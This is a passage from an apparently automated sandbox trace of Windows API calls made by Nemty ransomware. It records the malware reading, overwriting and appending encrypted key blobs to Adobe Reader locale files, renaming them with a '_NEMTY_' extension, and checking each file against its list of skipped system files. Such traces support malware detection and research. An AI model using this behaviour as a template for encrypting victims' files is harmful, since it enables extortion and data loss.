pszString="3tteSNjqc2aXFWR6/PaA/vkfU/7PeVUKDesQtCmVVd66krA3Mxnlb4hNuT7WxiNw\r\nqEf3jxOrYIVWk8tmEAkPdaOBXl9ZHCghgJwtRBOdgJYAhKUB6US6U2rjoAASfZ0j\r\nBVRoBLxMDxqbcuQnG+ufms1b0puIpr5FGAt9ZshAZDno2blMMtZyqXNgF1PliEAU\r\nYkf3L84pLpWN8D52XzaJ0NMYupHw04g6crxqgHcgmKw0cODBmkZwFtgbosrlXuHl\r\nSYmLfLbi9HeM/pG7siBI6BKZmsSCDdez5GDs4jI4YGewxLAtrG3yY8YKGO0A5F3D\r\n6Hy+MXyP8fSk+YiMRuhROQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.323] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0178.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0178.323] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.323] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0178.325] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.325] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0178.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.325] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0178.325] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.325] CloseHandle (hObject=0x2e8) returned 1 [0178.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.326] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun._nemty_kgobjgd_")) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.326] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.HUN", cAlternateFileName="")) returned 1 [0178.326] lstrcmpiW (lpString1="updater.HUN", lpString2=".") returned 1 [0178.326] lstrcmpiW (lpString1="updater.HUN", lpString2="..") returned 1 [0178.326] lstrcmpiW (lpString1="updater.HUN", lpString2="...") returned 1 [0178.326] lstrcmpiW (lpString1="updater.HUN", lpString2="windows") returned -1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="rsa") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="NTDETECT.COM") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="ntldr") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="MSDOS.SYS") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="IO.SYS") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="boot.ini") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="boot.ini") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="ntuser.dat") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="desktop.ini") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="CONFIG.SYS") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="RECYCLER") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="bootmgr") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="programdata") returned 1 [0178.327] lstrcmpiW (lpString1="updater.HUN", lpString2="appdata") returned 1 [0178.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.328] Sleep (dwMilliseconds=0x5) [0178.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df1abb0, dwHighDateTime=0x1d561e8)) [0178.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df1abb0, dwHighDateTime=0x1d561e8)) [0178.337] GetLastError () returned 0x0 [0178.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.337] GetLastError () returned 0x0 [0178.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.337] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.337] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4tH6rpaI4VZeqfkNzzcd1H8dJIN1/crBa5793UExoGayzZCzd6POKZ0FaJFR02OK\r\n8UGBBTVZ8u1TIDffk7f+iiPW+XFD6mdcPqKoFsHCliqX0NFhXUqqipPYU+HIuAwO\r\nJ87KoNGjge6LsZnNWrMTtMHb6rj82we4E6u8s+ypx1MPvmF4gpHpYmGLJI7tqZcM\r\nYXmpudJXYHTQds3TBTBWJd03iW8T4FAavmLfYveZHp4FIDHFKv/sKSXJJd/TK2KA\r\nnsfD6S5j15mcncir/ctiOVK9gHomeGwXL3E9GEEzqqqljJNGHX+TXVSVuJVdPN9Y\r\n7Au9EspTXdWUen50smt1GQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.338] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0178.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0178.338] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.338] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0178.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.340] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0178.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0178.341] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.341] CloseHandle (hObject=0x2e8) returned 1 [0178.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.341] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun._nemty_kgobjgd_")) returned 1 [0178.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.342] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.HUN", cAlternateFileName="")) returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2=".") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="..") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="...") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="windows") returned -1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="rsa") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="NTDETECT.COM") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="ntldr") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="MSDOS.SYS") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="IO.SYS") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="boot.ini") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="boot.ini") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="ntuser.dat") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="desktop.ini") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="CONFIG.SYS") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="RECYCLER") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="bootmgr") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="programdata") returned 1 [0178.342] lstrcmpiW (lpString1="WebLink.HUN", lpString2="appdata") returned 1 [0178.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.HUN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.343] Sleep (dwMilliseconds=0x5) [0178.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df40d10, dwHighDateTime=0x1d561e8)) [0178.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df40d10, dwHighDateTime=0x1d561e8)) [0178.353] GetLastError () returned 0x0 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.353] GetLastError () returned 0x0 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 